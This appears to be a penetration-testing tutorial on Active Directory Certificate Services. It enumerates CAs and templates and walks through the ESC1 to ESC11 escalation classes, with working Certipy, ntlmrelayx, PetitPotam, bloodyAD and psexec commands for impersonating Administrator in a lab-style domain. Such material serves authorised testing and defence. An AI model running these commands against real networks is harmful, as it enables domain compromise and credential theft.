ADCS Enumeration and Overview
Enumerate Active Directory Certificate Services, find CAs, list templates, identify misconfigurations, and understand ESC vulnerability classes. Covers Certipy, Certify, and manual LDAP enumeration.
Sections ADCS Enumeration and Overview
You have domain credentials and want to check if ADCS is deployed and misconfigured. Certificate Services misconfigurations are some of the most impactful findings in AD pentesting because they often provide direct paths to domain compromise that survive password resets and krbtgt rotations.
ADCS Architecture
ADCS consists of one or more Certificate Authorities (CAs) that issue certificates based on certificate templates. Templates define who can request certificates, what the certificate can be used for, and what subject information is included. Misconfigurations in templates, CA permissions, and web enrollment services create the ESC (Escalation) vulnerability classes.
Enumeration with Certipy
Certipy is the primary tool for ADCS enumeration and exploitation from Linux.
# Full ADCS enumeration (finds CAs, templates, and vulnerabilities)
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35
# Output as text (easier to read)
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35 -text
# Only show vulnerable templates
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35 -vulnerable
# Output to stdout
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35 -vulnerable -stdout
# With Kerberos auth
root@localhost:~# export KRB5CCNAME=/tmp/svc_backup.ccache
root@localhost:~# certipy find -u svc_backup@corp.local -k -no-pass -dc-ip 10.10.11.35
-vulnerable flag filters output to only show templates and CAs with known ESC vulnerabilities. Always run the full find first for a complete picture, then use -vulnerable for a quick summary.Enumeration with Certify (Windows)
# Find all CAs and templates
PS C:\> .\Certify.exe find
# Find vulnerable templates
PS C:\> .\Certify.exe find /vulnerable
# Find templates for a specific CA
PS C:\> .\Certify.exe find /ca:CORP-DC01-CA
# Find templates the current user can enroll in
PS C:\> .\Certify.exe find /enrolleeSuppliesSubject
# List CAs
PS C:\> .\Certify.exe cas
# Check CA permissions
PS C:\> .\Certify.exe find /showAllPermissions
Manual LDAP Enumeration
When Certipy and Certify are not available, query LDAP directly.
Find Certificate Authorities
# Enrollment Services (CAs that issue certificates)
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
"(objectClass=pKIEnrollmentService)" cn dNSHostName certificateTemplates
# Certification Authorities
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
"(objectClass=certificationAuthority)" cn
Find Certificate Templates
# All templates
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
"(objectClass=pKICertificateTemplate)" \
cn displayName msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag pKIExtendedKeyUsage msPKI-RA-Signature
# Templates that allow the enrollee to supply the subject (SANs)
# msPKI-Certificate-Name-Flag with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1) set
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
"(&(objectClass=pKICertificateTemplate)(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1))" \
cn displayName
Windows (PowerShell)
# List all CAs
PS C:\> certutil -config - -ping
# List templates on a specific CA
PS C:\> certutil -CATemplates -config "dc01.corp.local\CORP-DC01-CA"
# Detailed template info
PS C:\> certutil -v -dsTemplate
# Check web enrollment
PS C:\> certutil -config "dc01.corp.local\CORP-DC01-CA" -ping
NetExec ADCS Module
root@localhost:~# netexec ldap 10.10.11.35 -u svc_backup -p 'P@ssw0rd123' -M adcs
ESC Vulnerability Classes
Each ESC class represents a different misconfiguration pattern. Here is what each one is, how to detect it, and the general exploitation approach.
ESC1: Misconfigured Certificate Template (Enrollee Supplies Subject)
The template allows the requester to specify a Subject Alternative Name (SAN). An attacker can request a certificate as any user, including Administrator.
Conditions:
ENROLLEE_SUPPLIES_SUBJECTflag set inmsPKI-Certificate-Name-Flag- Template allows client authentication (EKU contains
Client AuthenticationorSmart Card Logon) - Low-privileged users have enrollment rights
- Manager approval not required
# Certipy - find ESC1 templates
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35 -vulnerable -stdout | grep -A 20 "ESC1"
# Exploit - request cert as Administrator
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template VulnTemplate -upn Administrator@corp.local -dc-ip 10.10.11.35
# Authenticate with the certificate
root@localhost:~# certipy auth -pfx administrator.pfx -dc-ip 10.10.11.35
ESC2: Misconfigured Template (Any Purpose or No EKU)
The template has the Any Purpose EKU or no EKU at all, making the certificate usable for anything including client authentication.
# Same exploitation as ESC1 if ENROLLEE_SUPPLIES_SUBJECT is also set
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template AnyPurposeTemplate -upn Administrator@corp.local -dc-ip 10.10.11.35
ESC3: Enrollment Agent Template Abuse
A template is configured as an enrollment agent, allowing a user to enroll on behalf of other users.
# Step 1: Request an enrollment agent certificate
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template EnrollmentAgent -dc-ip 10.10.11.35
# Step 2: Use the enrollment agent cert to request a cert on behalf of Administrator
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template User -on-behalf-of 'corp\Administrator' -pfx enrollment_agent.pfx -dc-ip 10.10.11.35
ESC4: Vulnerable Template ACL
You have write access to a certificate template object. Modify the template to make it vulnerable (add ENROLLEE_SUPPLIES_SUBJECT, add Client Authentication EKU, add your enrollment rights).
# Modify the template to be ESC1-vulnerable
root@localhost:~# certipy template -u svc_backup@corp.local -p 'P@ssw0rd123' -template VulnTemplate -save-old -dc-ip 10.10.11.35
# Exploit as ESC1
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template VulnTemplate -upn Administrator@corp.local -dc-ip 10.10.11.35
# Restore the original template
root@localhost:~# certipy template -u svc_backup@corp.local -p 'P@ssw0rd123' -template VulnTemplate -configuration VulnTemplate.json -dc-ip 10.10.11.35
ESC5: Vulnerable PKI Object ACLs
ACL misconfiguration on PKI objects other than templates (CA server object, RootCA object, etc.). Exploitation varies by which object you can write to.
ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA
The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, allowing any requester to add a SAN to their certificate request regardless of the template configuration.
# Check for the flag
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35 -vulnerable -stdout | grep "EDITF_ATTRIBUTESUBJECTALTNAME2"
# Exploit - request any template with a SAN
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template User -upn Administrator@corp.local -dc-ip 10.10.11.35
ESC7: Vulnerable CA ACL
You have the ManageCA or ManageCertificates right on the CA. With ManageCA, you can enable ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2) on the CA. With ManageCertificates, you can approve pending certificate requests.
# If you have ManageCA, enable EDITF_ATTRIBUTESUBJECTALTNAME2
root@localhost:~# certipy ca -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2 -dc-ip 10.10.11.35
# Then exploit as ESC6
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template User -upn Administrator@corp.local -dc-ip 10.10.11.35
# If you have ManageCertificates, request with manager approval then approve it yourself
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template ApprovalRequired -upn Administrator@corp.local -dc-ip 10.10.11.35
root@localhost:~# certipy ca -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -issue-request <request-id> -dc-ip 10.10.11.35
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -retrieve <request-id> -dc-ip 10.10.11.35
ESC8: NTLM Relay to Web Enrollment
The CA has HTTP-based web enrollment enabled. Relay NTLM authentication to the enrollment endpoint to request a certificate as the relayed user.
# Check for web enrollment
root@localhost:~# curl -s -o /dev/null -w "%{http_code}" http://ca01.corp.local/certsrv/
# Relay to ADCS
root@localhost:~# impacket-ntlmrelayx -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce a DC
root@localhost:~# python3 PetitPotam.py -u svc_backup -p 'P@ssw0rd123' -d corp.local 10.10.14.5 10.10.11.35
# Authenticate with captured certificate
root@localhost:~# certipy auth -pfx dc01.pfx -dc-ip 10.10.11.35
ESC9 and ESC10: Name Constraints and Weak Certificate Mapping
ESC9 abuses CT_FLAG_NO_SECURITY_EXTENSION in the template when StrongCertificateBindingEnforcement is set to 1 (not 2). ESC10 abuses weak certificate mapping when CertificateMappingMethods includes UPN mapping.
# ESC9 - requires GenericWrite on a target user
root@localhost:~# certipy shadow auto -u svc_backup@corp.local -p 'P@ssw0rd123' -target targetuser -dc-ip 10.10.11.35
# ESC10 - modify the target user's UPN, request a cert, restore UPN
# Step 1: Change target UPN to Administrator
root@localhost:~# bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object targetuser userPrincipalName -v "Administrator@corp.local"
# Step 2: Request certificate as targetuser (which now has Administrator's UPN)
root@localhost:~# certipy req -u targetuser@corp.local -p 'TargetPass123' -ca CORP-DC01-CA -template User -dc-ip 10.10.11.35
# Step 3: Restore UPN
root@localhost:~# bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object targetuser userPrincipalName -v "targetuser@corp.local"
# Step 4: Auth with the cert (maps to Administrator)
root@localhost:~# certipy auth -pfx targetuser.pfx -dc-ip 10.10.11.35
ESC11: NTLM Relay to ICPR (RPC Enrollment)
Similar to ESC8, but targets the RPC-based certificate enrollment endpoint instead of HTTP when the CA does not enforce encryption.
# Relay to the CA's RPC interface
root@localhost:~# certipy relay -ca ca01.corp.local -template DomainController
# Then coerce authentication to your listener
ESC Quick Reference
| ESC | Condition | Impact | Requires |
|---|---|---|---|
| ESC1 | Enrollee supplies subject + Client Auth EKU | Impersonate any user | Enrollment rights |
| ESC2 | Any Purpose/No EKU + enrollee supplies subject | Same as ESC1 | Enrollment rights |
| ESC3 | Enrollment agent template | Enroll on behalf of others | Enrollment agent cert |
| ESC4 | Write access to template | Modify template to ESC1 | WriteProperty on template |
| ESC5 | Write access to PKI objects | Varies | WriteProperty on CA/PKI objects |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 enabled | SAN on any request | Enrollment rights |
| ESC7 | ManageCA/ManageCertificates on CA | Enable ESC6 or approve requests | CA ACL rights |
| ESC8 | HTTP web enrollment | Relay NTLM for cert | Network position |
| ESC9 | No security extension flag | Bypass cert mapping | GenericWrite on user |
| ESC10 | Weak certificate mapping | UPN substitution | GenericWrite on user |
| ESC11 | Unencrypted RPC enrollment | Relay NTLM for cert | Network position |
Certificate Authentication
Once you have a certificate (from any ESC), authenticate with it.
# Certipy auth (gets NT hash via PKINIT)
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.35
# PKINITtools
python3 gettgtpkinit.py corp.local/Administrator administrator.ccache -cert-pfx administrator.pfx
export KRB5CCNAME=administrator.ccache
# Use the TGT or recovered NT hash for further access
impacket-psexec corp.local/Administrator@dc01.corp.local -k -no-pass
# Rubeus - authenticate with a certificate
PS C:\> .\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /password:Password123 /ptt